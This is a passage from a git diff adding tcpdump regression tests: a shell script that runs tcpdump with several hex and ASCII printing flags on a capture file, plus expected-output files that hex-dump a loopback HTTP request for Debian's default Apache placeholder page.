+	0x1410:  0a0a 3c44 4956 2061 6c69 676e 3d22 6365  ..<DIV.align="ce
+	0x1420:  6e74 6572 223e 0a3c 6120 6872 6566 3d22  nter">.<a.href="
+	0x1430:  6874 7470 3a2f 2f77 7777 2e64 6562 6961  http://www.debia
+	0x1440:  6e2e 6f72 672f 223e 0a3c 494d 4720 616c  n.org/">.<IMG.al
+	0x1450:  6967 6e3d 226d 6964 646c 6522 2068 6569  ign="middle".hei
+	0x1460:  6768 743d 2233 3022 2077 6964 7468 3d22  ght="30".width="
+	0x1470:  3235 2220 7372 633d 2269 636f 6e73 2f64  25".src="icons/d
+	0x1480:  6562 6961 6e2f 6f70 656e 6c6f 676f 2d32  ebian/openlogo-2
+	0x1490:  352e 6a70 6722 2061 6c74 3d22 4465 6269  5.jpg".alt="Debi
+	0x14a0:  616e 223e 0a3c 2f61 3e0a 3c61 2068 7265  an">.</a>.<a.hre
+	0x14b0:  663d 2268 7474 703a 2f2f 7777 772e 6170  f="http://www.ap
+	0x14c0:  6163 6865 2e6f 7267 2f22 3e0a 3c49 4d47  ache.org/">.<IMG
+	0x14d0:  2061 6c69 676e 3d22 6d69 6464 6c65 2220  .align="middle".
+	0x14e0:  6865 6967 6874 3d22 3332 2220 7769 6474  height="32".widt
+	0x14f0:  683d 2232 3539 2220 7372 633d 2269 636f  h="259".src="ico
+	0x1500:  6e73 2f61 7061 6368 655f 7062 2e70 6e67  ns/apache_pb.png
+	0x1510:  2220 616c 743d 2241 7061 6368 6522 3e0a  ".alt="Apache">.
+	0x1520:  3c2f 613e 0a3c 2f44 4956 3e0a 0a3c 212d  </a>.</DIV>..<!-
+	0x1530:  2d0a 2020 5468 6973 2070 6167 6520 7761  -...This.page.wa
+	0x1540:  7320 696e 6974 6961 6c6c 7920 6372 6561  s.initially.crea
+	0x1550:  7465 6420 6279 204a 6f68 6e69 6520 496e  ted.by.Johnie.In
+	0x1560:  6772 616d 2028 6874 7470 3a2f 2f6e 6574  gram.(http://net
+	0x1570:  676f 642e 6e65 742f 290a 2020 4974 2077  god.net/)...It.w
+	0x1580:  6173 206c 6174 6572 2065 6469 7465 6420  as.later.edited.
+	0x1590:  6279 204d 6174 7468 6577 2057 696c 636f  by.Matthew.Wilco
+	0x15a0:  7820 616e 6420 4a6f 7369 7020 526f 6469  x.and.Josip.Rodi
+	0x15b0:  6e2e 0a20 204c 6173 7420 6d6f 6469 6669  n....Last.modifi
+	0x15c0:  6564 3a20 2444 6174 653a 2032 3030 342f  ed:.$Date:.2004/
+	0x15d0:  3036 2f32 3020 3135 3a33 333a 3537 2024  06/20.15:33:57.$
+	0x15e0:  2e0a 2020 2d2d 3e0a 0a3c 2f42 4f44 593e  ....-->..</BODY>
+	0x15f0:  0a3c 2f48 544d 4c3e 0a                   .</HTML>.
+22:57:35.941260 IP 127.0.0.1.55920 > 127.0.0.1.80: Flags [.], ack 5560, win 12383, options [nop,nop,TS val 1306300953 ecr 1306300953], length 0
+	0x0000:  0000 0000 0000 0000 0000 0000 0800 4500  ..............E.
+	0x0010:  0034 1b6e 4000 4006 2154 7f00 0001 7f00  .4.n@.@.!T......
+	0x0020:  0001 da70 0050 3758 8a49 377a a3a9 8010  ...p.P7X.I7z....
+	0x0030:  305f 10ea 0000 0101 080a 4ddc 9219 4ddc  0_........M...M.
+	0x0040:  9219                                     ..
+22:57:37.229575 IP 127.0.0.1.55920 > 127.0.0.1.80: Flags [F.], seq 203, ack 5560, win 12383, options [nop,nop,TS val 1306302241 ecr 1306300953], length 0
+	0x0000:  0000 0000 0000 0000 0000 0000 0800 4500  ..............E.
+	0x0010:  0034 1b70 4000 4006 2152 7f00 0001 7f00  .4.p@.@.!R......
+	0x0020:  0001 da70 0050 3758 8a49 377a a3a9 8011  ...p.P7X.I7z....
+	0x0030:  305f 0be1 0000 0101 080a 4ddc 9721 4ddc  0_........M..!M.
+	0x0040:  9219                                     ..
+22:57:37.230839 IP 127.0.0.1.80 > 127.0.0.1.55920: Flags [F.], seq 5560, ack 204, win 8192, options [nop,nop,TS val 1306302243 ecr 1306302241], length 0
+	0x0000:  0000 0000 0000 0000 0000 0000 0800 4500  ..............E.
+	0x0010:  0034 1fe8 4000 4006 1cda 7f00 0001 7f00  .4..@.@.........
+	0x0020:  0001 0050 da70 377a a3a9 3758 8a4a 8011  ...P.p7z..7X.J..
+	0x0030:  2000 1735 0000 0101 080a 4ddc 9723 4ddc  ...5......M..#M.
+	0x0040:  9721                                     .!
+22:57:37.230900 IP 127.0.0.1.55920 > 127.0.0.1.80: Flags [.], ack 5561, win 12383, options [nop,nop,TS val 1306302243 ecr 1306302243], length 0
+	0x0000:  0000 0000 0000 0000 0000 0000 0800 4500  ..............E.
+	0x0010:  0034 1b72 4000 4006 2150 7f00 0001 7f00  .4.r@.@.!P......
+	0x0020:  0001 da70 0050 3758 8a4a 377a a3aa 8010  ...p.P7X.J7z....
+	0x0030:  305f 06d4 0000 0101 080a 4ddc 9723 4ddc  0_........M..#M.
+	0x0040:  9723                                     .#
diff --git a/peasoup_examples/tests/tcpdump/tcpd_tests/print-flags.pcap b/peasoup_examples/tests/tcpdump/tcpd_tests/print-flags.pcap
new file mode 100644
index 0000000000000000000000000000000000000000..8798c69cbb0bac8e37641ddd6689dcb7e5437a22
Binary files /dev/null and b/peasoup_examples/tests/tcpdump/tcpd_tests/print-flags.pcap differ
diff --git a/peasoup_examples/tests/tcpdump/tcpd_tests/print-flags.sh b/peasoup_examples/tests/tcpdump/tcpd_tests/print-flags.sh
new file mode 100755
index 0000000000000000000000000000000000000000..cc1eb1a5f28bbcd5dae486b6a2ae67f45bee7743
--- /dev/null
+++ b/peasoup_examples/tests/tcpdump/tcpd_tests/print-flags.sh
@@ -0,0 +1,29 @@
+#!/bin/sh
+
+for i in x xx X XX A AA; do
+	#
+	# We cannot rely on, for example, "print-x.out" and
+	# "print-X.out" being different files - we might be running
+	# this on a case-insensitive file system, e.g. a Windows
+	# file system or a case-insensitive HFS+ file system on
+	# Mac OS X.
+	#
+	# Therefore, for "X" and "XX", we have "print-capX.out"
+	# and "print-capXX.out".
+	#
+	if test $i = X
+	then
+		printname=capX
+	elif test $i = XX
+	then
+		printname=capXX
+	else
+		printname=$i
+	fi
+	if (../tcpdump -$i -s0 -nr print-flags.pcap | tee NEW/print-$printname.new | diff - print-$printname.out >DIFF/print-$printname.out.diff )
+	then
+		echo print-$i passed.
+	else
+		echo print-$i failed.
+	fi
+done
diff --git a/peasoup_examples/tests/tcpdump/tcpd_tests/print-x.out b/peasoup_examples/tests/tcpdump/tcpd_tests/print-x.out
new file mode 100644
index 0000000000000000000000000000000000000000..779422305d44eb9afca2bb80a838609e4f08d641
--- /dev/null
+++ b/peasoup_examples/tests/tcpdump/tcpd_tests/print-x.out
@@ -0,0 +1,409 @@
+22:57:35.938066 IP 127.0.0.1.55920 > 127.0.0.1.80: Flags [S], seq 928549246, win 32767, options [mss 16396,sackOK,TS val 1306300950 ecr 0,nop,wscale 2], length 0
+	0x0000:  4500 003c 1b68 4000 4006 2152 7f00 0001
+	0x0010:  7f00 0001 da70 0050 3758 897e 0000 0000
+	0x0020:  a002 7fff 1421 0000 0204 400c 0402 080a
+	0x0030:  4ddc 9216 0000 0000 0103 0302
+22:57:35.938122 IP 127.0.0.1.80 > 127.0.0.1.55920: Flags [S.], seq 930778609, ack 928549247, win 32767, options [mss 16396,sackOK,TS val 1306300950 ecr 1306300950,nop,wscale 2], length 0
+	0x0000:  4500 003c 0000 4000 4006 3cba 7f00 0001
+	0x0010:  7f00 0001 0050 da70 377a 8df1 3758 897f
+	0x0020:  a012 7fff 6eb1 0000 0204 400c 0402 080a
+	0x0030:  4ddc 9216 4ddc 9216 0103 0302
+22:57:35.938167 IP 127.0.0.1.55920 > 127.0.0.1.80: Flags [.], ack 1, win 8192, options [nop,nop,TS val 1306300950 ecr 1306300950], length 0
+	0x0000:  4500 0034 1b6a 4000 4006 2158 7f00 0001
+	0x0010:  7f00 0001 da70 0050 3758 897f 377a 8df2
+	0x0020:  8010 2000 37d0 0000 0101 080a 4ddc 9216
+	0x0030:  4ddc 9216
+22:57:35.939423 IP 127.0.0.1.55920 > 127.0.0.1.80: Flags [P.], seq 1:203, ack 1, win 8192, options [nop,nop,TS val 1306300951 ecr 1306300950], length 202
+	0x0000:  4500 00fe 1b6c 4000 4006 208c 7f00 0001
+	0x0010:  7f00 0001 da70 0050 3758 897f 377a 8df2
+	0x0020:  8018 2000 fef2 0000 0101 080a 4ddc 9217
+	0x0030:  4ddc 9216 4745 5420 2f20 4854 5450 2f31
+	0x0040:  2e31 0d0a 486f 7374 3a20 6c6f 6361 6c68
+	0x0050:  6f73 740d 0a55 7365 722d 4167 656e 743a
+	0x0060:  2045 4c69 6e6b 732f 302e 3130 2e34 2d37
+	0x0070:  2d64 6562 6961 6e20 2874 6578 746d 6f64
+	0x0080:  653b 204c 696e 7578 2032 2e36 2e31 312d
+	0x0090:  312d 3638 362d 736d 7020 6936 3836 3b20
+	0x00a0:  3133 3278 3536 2d32 290d 0a41 6363 6570
+	0x00b0:  743a 202a 2f2a 0d0a 4163 6365 7074 2d45
+	0x00c0:  6e63 6f64 696e 673a 2067 7a69 700d 0a41
+	0x00d0:  6363 6570 742d 4c61 6e67 7561 6765 3a20
+	0x00e0:  656e 0d0a 436f 6e6e 6563 7469 6f6e 3a20
+	0x00f0:  4b65 6570 2d41 6c69 7665 0d0a 0d0a
+22:57:35.940474 IP 127.0.0.1.80 > 127.0.0.1.55920: Flags [.], ack 203, win 8192, options [nop,nop,TS val 1306300952 ecr 1306300951], length 0
+	0x0000:  4500 0034 1fe4 4000 4006 1cde 7f00 0001
+	0x0010:  7f00 0001 0050 da70 377a 8df2 3758 8a49
+	0x0020:  8010 2000 3703 0000 0101 080a 4ddc 9218
+	0x0030:  4ddc 9217
+22:57:35.941232 IP 127.0.0.1.80 > 127.0.0.1.55920: Flags [P.], seq 1:5560, ack 203, win 8192, options [nop,nop,TS val 1306300953 ecr 1306300951], length 5559
+	0x0000:  4500 15eb 1fe6 4000 4006 0725 7f00 0001
+	0x0010:  7f00 0001 0050 da70 377a 8df2 3758 8a49
+	0x0020:  8018 2000 13e0 0000 0101 080a 4ddc 9219
+	0x0030:  4ddc 9217 4854 5450 2f31 2e31 2032 3030
+	0x0040:  204f 4b0d 0a44 6174 653a 2057 6564 2c20
+	0x0050:  3036 204a 756c 2032 3030 3520 3033 3a35
+	0x0060:  373a 3335 2047 4d54 0d0a 5365 7276 6572
+	0x0070:  3a20 4170 6163 6865 2f31 2e33 2e33 330d
+	0x0080:  0a4c 6173 742d 4d6f 6469 6669 6564 3a20
+	0x0090:  5375 6e2c 2031 3520 4175 6720 3230 3034
+	0x00a0:  2030 303a 3433 3a34 3120 474d 540d 0a45
+	0x00b0:  5461 673a 2022 3665 3830 6630 2d31 3438
+	0x00c0:  612d 3431 3165 6231 6264 220d 0a41 6363
+	0x00d0:  6570 742d 5261 6e67 6573 3a20 6279 7465
+	0x00e0:  730d 0a43 6f6e 7465 6e74 2d4c 656e 6774
+	0x00f0:  683a 2035 3235 380d 0a4b 6565 702d 416c
+	0x0100:  6976 653a 2074 696d 656f 7574 3d31 352c
+	0x0110:  206d 6178 3d31 3030 0d0a 436f 6e6e 6563
+	0x0120:  7469 6f6e 3a20 4b65 6570 2d41 6c69 7665
+	0x0130:  0d0a 436f 6e74 656e 742d 5479 7065 3a20
+	0x0140:  7465 7874 2f68 746d 6c3b 2063 6861 7273
+	0x0150:  6574 3d69 736f 2d38 3835 392d 310d 0a0d
+	0x0160:  0a3c 2144 4f43 5459 5045 2048 544d 4c20
+	0x0170:  5055 424c 4943 2022 2d2f 2f57 3343 2f2f
+	0x0180:  4454 4420 4854 4d4c 2034 2e30 3120 5472
+	0x0190:  616e 7369 7469 6f6e 616c 2f2f 454e 223e
+	0x01a0:  0a3c 4854 4d4c 3e0a 3c48 4541 443e 0a20
+	0x01b0:  2020 3c4d 4554 4120 4854 5450 2d45 5155
+	0x01c0:  4956 3d22 436f 6e74 656e 742d 5479 7065
+	0x01d0:  2220 434f 4e54 454e 543d 2274 6578 742f
+	0x01e0:  6874 6d6c 3b20 6368 6172 7365 743d 6973
+	0x01f0:  6f2d 3838 3539 2d31 223e 0a20 2020 3c4d
+	0x0200:  4554 4120 4e41 4d45 3d22 4465 7363 7269
+	0x0210:  7074 696f 6e22 2043 4f4e 5445 4e54 3d22
+	0x0220:  5468 6520 696e 6974 6961 6c20 696e 7374
+	0x0230:  616c 6c61 7469 6f6e 206f 6620 4465 6269
+	0x0240:  616e 2061 7061 6368 652e 223e 0a20 2020
+	0x0250:  3c54 4954 4c45 3e50 6c61 6365 686f 6c64
+	0x0260:  6572 2070 6167 653c 2f54 4954 4c45 3e0a
+	0x0270:  3c2f 4845 4144 3e0a 3c42 4f44 5920 5445
+	0x0280:  5854 3d22 2330 3030 3030 3022 2042 4743
+	0x0290:  4f4c 4f52 3d22 2346 4646 4646 4622 204c
+	0x02a0:  494e 4b3d 2223 3030 3030 4546 2220 564c
+	0x02b0:  494e 4b3d 2223 3535 3138 3841 2220 414c
+	0x02c0:  494e 4b3d 2223 4646 3030 3030 223e 0a0a
+	0x02d0:  3c48 313e 506c 6163 6568 6f6c 6465 7220
+	0x02e0:  7061 6765 3c2f 4831 3e0a 3c48 323e 4966
+	0x02f0:  2079 6f75 2061 7265 206a 7573 7420 6272
+	0x0300:  6f77 7369 6e67 2074 6865 2077 6562 3c2f
+	0x0310:  6832 3e0a 0a3c 503e 5468 6520 6f77 6e65
+	0x0320:  7220 6f66 2074 6869 7320 7765 6220 7369
+	0x0330:  7465 2068 6173 206e 6f74 2070 7574 2075
+	0x0340:  7020 616e 7920 7765 6220 7061 6765 7320
+	0x0350:  7965 742e 0a50 6c65 6173 6520 636f 6d65
+	0x0360:  2062 6163 6b20 6c61 7465 722e 3c2f 503e
+	0x0370:  0a0a 3c50 3e3c 534d 414c 4c3e 3c43 4954
+	0x0380:  453e 4d6f 7665 2061 6c6f 6e67 2c20 6e6f
+	0x0390:  7468 696e 6720 746f 2073 6565 2068 6572
+	0x03a0:  652e 2e2e 3c2f 4349 5445 3e20 3a2d 293c
+	0x03b0:  2f53 4d41 4c4c 3e3c 2f50 3e0a 0a3c 4832
+	0x03c0:  3e49 6620 796f 7520 6172 6520 7472 7969
+	0x03d0:  6e67 2074 6f20 6c6f 6361 7465 2074 6865
+	0x03e0:  2061 646d 696e 6973 7472 6174 6f72 206f
+	0x03f0:  6620 7468 6973 206d 6163 6869 6e65 3c2f
+	0x0400:  4832 3e0a 0a3c 503e 4966 2079 6f75 2077
+	0x0410:  616e 7420 746f 2072 6570 6f72 7420 736f
+	0x0420:  6d65 7468 696e 6720 6162 6f75 7420 7468
+	0x0430:  6973 2068 6f73 7427 7320 6265 6861 7669
+	0x0440:  6f72 2c20 706c 6561 7365 0a63 6f6e 7461
+	0x0450:  6374 2074 6865 2049 6e74 6572 6e65 7420
+	0x0460:  5365 7276 6963 6520 5072 6f76 6964 6572
+	0x0470:  2028 4953 5029 2069 6e76 6f6c 7665 6420
+	0x0480:  6469 7265 6374 6c79 2e3c 2f50 3e0a 0a3c
+	0x0490:  503e 5365 6520 7468 6520 3c41 2068 7265
+	0x04a0:  663d 2268 7474 703a 2f2f 7777 772e 6162
+	0x04b0:  7573 652e 6e65 742f 223e 4e65 7477 6f72
+	0x04c0:  6b20 4162 7573 650a 436c 6561 7269 6e67
+	0x04d0:  686f 7573 653c 2f41 3e20 666f 7220 686f
+	0x04e0:  7720 746f 2064 6f20 7468 6973 2e3c 2f50
+	0x04f0:  3e0a 0a3c 4832 3e49 6620 796f 7520 6172
+	0x0500:  6520 7468 6520 6164 6d69 6e69 7374 7261
+	0x0510:  746f 7220 6f66 2074 6869 7320 6d61 6368
+	0x0520:  696e 653c 2f48 323e 0a0a 3c50 3e54 6865
+	0x0530:  2069 6e69 7469 616c 2069 6e73 7461 6c6c
+	0x0540:  6174 696f 6e20 6f66 203c 4120 6872 6566
+	0x0550:  3d22 6874 7470 3a2f 2f77 7777 2e64 6562
+	0x0560:  6961 6e2e 6f72 672f 223e 4465 6269 616e
+	0x0570:  2773 0a61 7061 6368 653c 2f41 3e20 7765
+	0x0580:  6220 7365 7276 6572 2070 6163 6b61 6765
+	0x0590:  2077 6173 2073 7563 6365 7373 6675 6c2e
+	0x05a0:  3c2f 503e 0a0a 3c50 3e3c 5354 524f 4e47
+	0x05b0:  3e59 6f75 2073 686f 756c 6420 7265 706c
+	0x05c0:  6163 6520 7468 6973 2070 6167 6520 7769
+	0x05d0:  7468 2079 6f75 7220 6f77 6e20 7765 6220
+	0x05e0:  7061 6765 7320 6173 0a73 6f6f 6e20 6173
+	0x05f0:  2070 6f73 7369 626c 652e 3c2f 5354 524f
+	0x0600:  4e47 3e3c 2f50 3e0a 0a3c 503e 556e 6c65
+	0x0610:  7373 2079 6f75 2063 6861 6e67 6564 2069
+	0x0620:  7473 2063 6f6e 6669 6775 7261 7469 6f6e
+	0x0630:  2c20 796f 7572 206e 6577 2073 6572 7665
+	0x0640:  7220 6973 2063 6f6e 6669 6775 7265 6420
+	0x0650:  6173 2066 6f6c 6c6f 7773 3a0a 3c55 4c3e
+	0x0660:  0a3c 4c49 3e0a 436f 6e66 6967 7572 6174
+	0x0670:  696f 6e20 6669 6c65 7320 6361 6e20 6265
+	0x0680:  2066 6f75 6e64 2069 6e20 3c54 543e 2f65
+	0x0690:  7463 2f61 7061 6368 653c 2f54 543e 2e3c
+	0x06a0:  2f4c 493e 0a0a 3c4c 493e 0a54 6865 203c
+	0x06b0:  5454 3e44 6f63 756d 656e 7452 6f6f 743c
+	0x06c0:  2f54 543e 2c20 7768 6963 6820 6973 2074
+	0x06d0:  6865 2064 6972 6563 746f 7279 2075 6e64
+	0x06e0:  6572 2077 6869 6368 2061 6c6c 2079 6f75
+	0x06f0:  720a 4854 4d4c 2066 696c 6573 2073 686f
+	0x0700:  756c 6420 6578 6973 742c 2069 7320 7365
+	0x0710:  7420 746f 203c 5454 3e2f 7661 722f 7777
+	0x0720:  773c 2f54 543e 2e3c 2f4c 493e 0a0a 3c4c
+	0x0730:  493e 0a43 4749 2073 6372 6970 7473 2061
+	0x0740:  7265 206c 6f6f 6b65 6420 666f 7220 696e
+	0x0750:  203c 5454 3e2f 7573 722f 6c69 622f 6367
+	0x0760:  692d 6269 6e3c 2f54 543e 2c20 7768 6963
+	0x0770:  6820 6973 2077 6865 7265 0a44 6562 6961
+	0x0780:  6e20 7061 636b 6167 6573 2077 696c 6c20
+	0x0790:  706c 6163 6520 7468 6569 7220 7363 7269
+	0x07a0:  7074 732e 3c2f 4c49 3e0a 0a3c 4c49 3e0a
+	0x07b0:  4c6f 6720 6669 6c65 7320 6172 6520 706c
+	0x07c0:  6163 6564 2069 6e20 3c54 543e 2f76 6172
+	0x07d0:  2f6c 6f67 2f61 7061 6368 653c 2f54 543e
+	0x07e0:  2c20 616e 6420 7769 6c6c 2062 6520 726f
+	0x07f0:  7461 7465 640a 7765 656b 6c79 2e20 2054
+	0x0800:  6865 2066 7265 7175 656e 6379 206f 6620
+	0x0810:  726f 7461 7469 6f6e 2063 616e 2062 6520
+	0x0820:  6561 7369 6c79 2063 6861 6e67 6564 2062
+	0x0830:  7920 6564 6974 696e 670a 3c54 543e 2f65
+	0x0840:  7463 2f6c 6f67 726f 7461 7465 2e64 2f61
+	0x0850:  7061 6368 653c 2f54 543e 2e3c 2f4c 493e
+	0x0860:  0a0a 3c4c 493e 0a54 6865 2064 6566 6175
+	0x0870:  6c74 2064 6972 6563 746f 7279 2069 6e64
+	0x0880:  6578 2069 7320 3c54 543e 696e 6465 782e
+	0x0890:  6874 6d6c 3c2f 5454 3e2c 206d 6561 6e69
+	0x08a0:  6e67 2074 6861 7420 7265 7175 6573 7473
+	0x08b0:  0a66 6f72 2061 2064 6972 6563 746f 7279
+	0x08c0:  203c 5454 3e2f 666f 6f2f 6261 722f 3c2f
+	0x08d0:  5454 3e20 7769 6c6c 2067 6976 6520 7468
+	0x08e0:  6520 636f 6e74 656e 7473 206f 6620 7468
+	0x08f0:  6520 6669 6c65 203c 5454 3e2f 7661 722f
+	0x0900:  7777 772f 666f 6f2f 6261 722f 696e 6465
+	0x0910:  782e 6874 6d6c 3c2f 5454 3e0a 6966 2069
+	0x0920:  7420 6578 6973 7473 2028 6173 7375 6d69
+	0x0930:  6e67 2074 6861 7420 3c54 543e 2f76 6172
+	0x0940:  2f77 7777 3c2f 5454 3e20 6973 2079 6f75
+	0x0950:  7220 3c54 543e 446f 6375 6d65 6e74 526f
+	0x0960:  6f74 3c2f 5454 3e29 2e3c 2f4c 493e 0a0a
+	0x0970:  3c4c 493e 0a55 7365 7220 6469 7265 6374
+	0x0980:  6f72 6965 7320 6172 6520 656e 6162 6c65
+	0x0990:  642c 2061 6e64 2075 7365 7220 646f 6375
+	0x09a0:  6d65 6e74 7320 7769 6c6c 2062 6520 6c6f
+	0x09b0:  6f6b 6564 2066 6f72 0a69 6e20 7468 6520
+	0x09c0:  3c54 543e 7075 626c 6963 5f68 746d 6c3c
+	0x09d0:  2f54 543e 2064 6972 6563 746f 7279 206f
+	0x09e0:  6620 7468 6520 7573 6572 7327 2068 6f6d
+	0x09f0:  6573 2e20 2054 6865 7365 2064 6972 730a
+	0x0a00:  7368 6f75 6c64 2062 6520 756e 6465 7220
+	0x0a10:  3c54 543e 2f68 6f6d 653c 2f54 543e 2c20
+	0x0a20:  616e 6420 7573 6572 7320 7769 6c6c 206e
+	0x0a30:  6f74 2062 6520 6162 6c65 2074 6f20 7379
+	0x0a40:  6d6c 696e 6b0a 746f 2066 696c 6573 2074
+	0x0a50:  6865 7920 646f 6e27 7420 6f77 6e2e 3c2f
+	0x0a60:  4c49 3e0a 0a3c 2f55 4c3e 0a41 6c6c 2074
+	0x0a70:  6865 2073 7461 6e64 6172 6420 6170 6163
+	0x0a80:  6865 206d 6f64 756c 6573 2061 7265 2061
+	0x0a90:  7661 696c 6162 6c65 2077 6974 6820 7468
+	0x0aa0:  6973 2072 656c 6561 7365 2061 6e64 2061
+	0x0ab0:  7265 0a6e 6f77 206d 616e 6167 6564 2077
+	0x0ac0:  6974 6820 6465 6263 6f6e 662e 2020 5479
+	0x0ad0:  7065 203c 5454 3e64 706b 672d 7265 636f
+	0x0ae0:  6e66 6967 7572 6520 6170 6163 6865 3c2f
+	0x0af0:  5454 3e20 746f 0a73 656c 6563 7420 7768
+	0x0b00:  6963 6820 6d6f 6475 6c65 7320 796f 7520
+	0x0b10:  7761 6e74 2065 6e61 626c 6564 2e20 204d
+	0x0b20:  616e 7920 6f74 6865 7220 6d6f 6475 6c65
+	0x0b30:  7320 6172 6520 6176 6169 6c61 626c 650a
+	0x0b40:  7468 726f 7567 6820 7468 6520 4465 6269
+	0x0b50:  616e 2070 6163 6b61 6765 2073 7973 7465
+	0x0b60:  6d20 7769 7468 2074 6865 206e 616d 6573
+	0x0b70:  203c 5454 3e6c 6962 6170 6163 6865 2d6d
+	0x0b80:  6f64 2d2a 3c2f 5454 3e2e 0a49 6620 796f
+	0x0b90:  7520 6e65 6564 2074 6f20 636f 6d70 696c
+	0x0ba0:  6520 6120 6d6f 6475 6c65 2079 6f75 7273
+	0x0bb0:  656c 662c 2079 6f75 2077 696c 6c20 6e65
+	0x0bc0:  6564 2074 6f20 696e 7374 616c 6c20 7468
+	0x0bd0:  650a 3c54 543e 6170 6163 6865 2d64 6576
+	0x0be0:  3c2f 5454 3e20 7061 636b 6167 652e 0a0a
+	0x0bf0:  3c50 3e4d 6f72 6520 646f 6375 6d65 6e74
+	0x0c00:  6174 696f 6e20 6f6e 2041 7061 6368 6520
+	0x0c10:  6361 6e20 6265 2066 6f75 6e64 206f 6e3a
+	0x0c20:  0a3c 554c 3e0a 3c4c 493e 0a54 6865 203c
+	0x0c30:  4120 4852 4546 3d22 2f64 6f63 2f61 7061
+	0x0c40:  6368 652d 646f 632f 6d61 6e75 616c 2f22
+	0x0c50:  3e41 7061 6368 6520 646f 6375 6d65 6e74
+	0x0c60:  6174 696f 6e3c 2f41 3e20 7374 6f72 6564
+	0x0c70:  206f 6e20 796f 7572 2073 6572 7665 722e
+	0x0c80:  3c2f 4c49 3e0a 0a3c 4c49 3e0a 5468 6520
+	0x0c90:  3c41 2048 5245 463d 2268 7474 703a 2f2f
+	0x0ca0:  7777 772e 6170 6163 6865 2e6f 7267 2f22
+	0x0cb0:  3e41 7061 6368 6520 5072 6f6a 6563 743c
+	0x0cc0:  2f41 3e20 686f 6d65 2073 6974 652e 3c2f
+	0x0cd0:  4c49 3e0a 0a3c 4c49 3e0a 5468 6520 3c41
+	0x0ce0:  2048 5245 463d 2268 7474 703a 2f2f 7777
+	0x0cf0:  772e 6170 6163 6865 2d73 736c 2e6f 7267
+	0x0d00:  2f22 3e41 7061 6368 652d 5353 4c3c 2f41
+	0x0d10:  3e20 686f 6d65 2073 6974 652e 3c2f 4c49
+	0x0d20:  3e0a 0a3c 4c49 3e0a 5468 6520 3c41 2048
+	0x0d30:  5245 463d 2268 7474 703a 2f2f 7065 726c
+	0x0d40:  2e61 7061 6368 652e 6f72 672f 223e 6d6f
+	0x0d50:  6420 7065 726c 3c2f 413e 2068 6f6d 6520
+	0x0d60:  7369 7465 2e3c 2f4c 493e 0a0a 3c4c 493e
+	0x0d70:  0a54 6865 203c 4120 4852 4546 3d22 6874
+	0x0d80:  7470 3a2f 2f77 7777 2e61 7061 6368 6577
+	0x0d90:  6565 6b2e 636f 6d2f 223e 4170 6163 6865
+	0x0da0:  5765 656b 3c2f 413e 206e 6577 736c 6574
+	0x0db0:  7465 722e 3c2f 4c49 3e0a 0a3c 4c49 3e0a
+	0x0dc0:  5468 6520 3c41 2048 5245 463d 2268 7474
+	0x0dd0:  703a 2f2f 7777 772e 6465 6269 616e 2e6f
+	0x0de0:  7267 2f64 6f63 2f22 3e44 6562 6961 6e20
+	0x0df0:  5072 6f6a 6563 740a 446f 6375 6d65 6e74
+	0x0e00:  6174 696f 6e3c 2f41 3e20 7768 6963 6820
+	0x0e10:  636f 6e74 6169 6e73 2048 4f57 544f 732c
+	0x0e20:  2046 4151 732c 2061 6e64 2073 6f66 7477
+	0x0e30:  6172 6520 7570 6461 7465 732e 3c2f 4c49
+	0x0e40:  3e0a 3c2f 554c 3e0a 0a3c 503e 596f 7520
+	0x0e50:  6361 6e20 616c 736f 2063 6f6e 7375 6c74
+	0x0e60:  2074 6865 206c 6973 7420 6f66 203c 4120
+	0x0e70:  4852 4546 3d22 6874 7470 3a2f 2f77 7777
+	0x0e80:  2e62 6f75 7465 6c6c 2e63 6f6d 2f66 6171
+	0x0e90:  2f22 3e57 6f72 6c64 0a57 6964 6520 5765
+	0x0ea0:  6220 4672 6571 7565 6e74 6c79 2041 736b
+	0x0eb0:  6564 2051 7565 7374 696f 6e73 3c2f 413e
+	0x0ec0:  2066 6f72 2069 6e66 6f72 6d61 7469 6f6e
+	0x0ed0:  2e0a 0a3c 4832 3e4c 6574 206f 7468 6572
+	0x0ee0:  2070 656f 706c 6520 6b6e 6f77 2061 626f
+	0x0ef0:  7574 2074 6869 7320 7365 7276 6572 3c2f
+	0x0f00:  4832 3e0a 0a3c 4120 4852 4546 3d22 6874
+	0x0f10:  7470 3a2f 2f6e 6574 6372 6166 742e 636f
+	0x0f20:  6d2f 223e 4e65 7463 7261 6674 3c2f 413e
+	0x0f30:  2070 726f 7669 6465 7320 616e 2069 6e74
+	0x0f40:  6572 6573 7469 6e67 2066 7265 650a 7365
+	0x0f50:  7276 6963 6520 666f 7220 7765 6220 7369
+	0x0f60:  7465 206d 6f6e 6974 6f72 696e 6720 616e
+	0x0f70:  6420 7374 6174 6973 7469 6320 636f 6c6c
+	0x0f80:  6563 7469 6f6e 2e0a 596f 7520 6361 6e20
+	0x0f90:  6c65 7420 7468 656d 206b 6e6f 7720 6162
+	0x0fa0:  6f75 7420 796f 7572 2073 6572 7665 7220
+	0x0fb0:  7573 696e 6720 7468 6569 720a 3c41 2048
+	0x0fc0:  5245 463d 2268 7474 703a 2f2f 7570 7469
+	0x0fd0:  6d65 2e6e 6574 6372 6166 742e 636f 6d2f
+	0x0fe0:  223e 696e 7465 7266 6163 653c 2f41 3e2e
+	0x0ff0:  0a45 6e61 626c 696e 6720 7468 6520 6d6f
+	0x1000:  6e69 746f 7269 6e67 206f 6620 796f 7572
+	0x1010:  2073 6572 7665 7220 7769 6c6c 2070 726f
+	0x1020:  7669 6465 2061 2062 6574 7465 7220 676c
+	0x1030:  6f62 616c 206f 7665 7276 6965 770a 6f66
+	0x1040:  2077 686f 2069 7320 7573 696e 6720 7768
+	0x1050:  6174 2061 6e64 2077 6865 7265 2c20 616e
+	0x1060:  6420 6974 2077 6f75 6c64 2067 6976 6520
+	0x1070:  4465 6269 616e 2061 2062 6574 7465 720a
+	0x1080:  6f76 6572 7669 6577 206f 6620 7468 6520
+	0x1090:  6170 6163 6865 2070 6163 6b61 6765 2075
+	0x10a0:  7361 6765 2e0a 0a3c 4832 3e41 626f 7574
+	0x10b0:  2074 6869 7320 7061 6765 3c2f 4832 3e0a
+	0x10c0:  0a3c 494d 4720 414c 4947 4e3d 2272 6967
+	0x10d0:  6874 2220 414c 543d 2222 2048 4549 4748
+	0x10e0:  543d 2232 3437 2220 5749 4454 483d 2232
+	0x10f0:  3738 2220 5352 433d 2269 636f 6e73 2f6a
+	0x1100:  6865 3036 312e 706e 6722 3e0a 0a3c 503e
+	0x1110:  5468 6973 2069 7320 6120 706c 6163 6568
+	0x1120:  6f6c 6465 7220 7061 6765 2069 6e73 7461
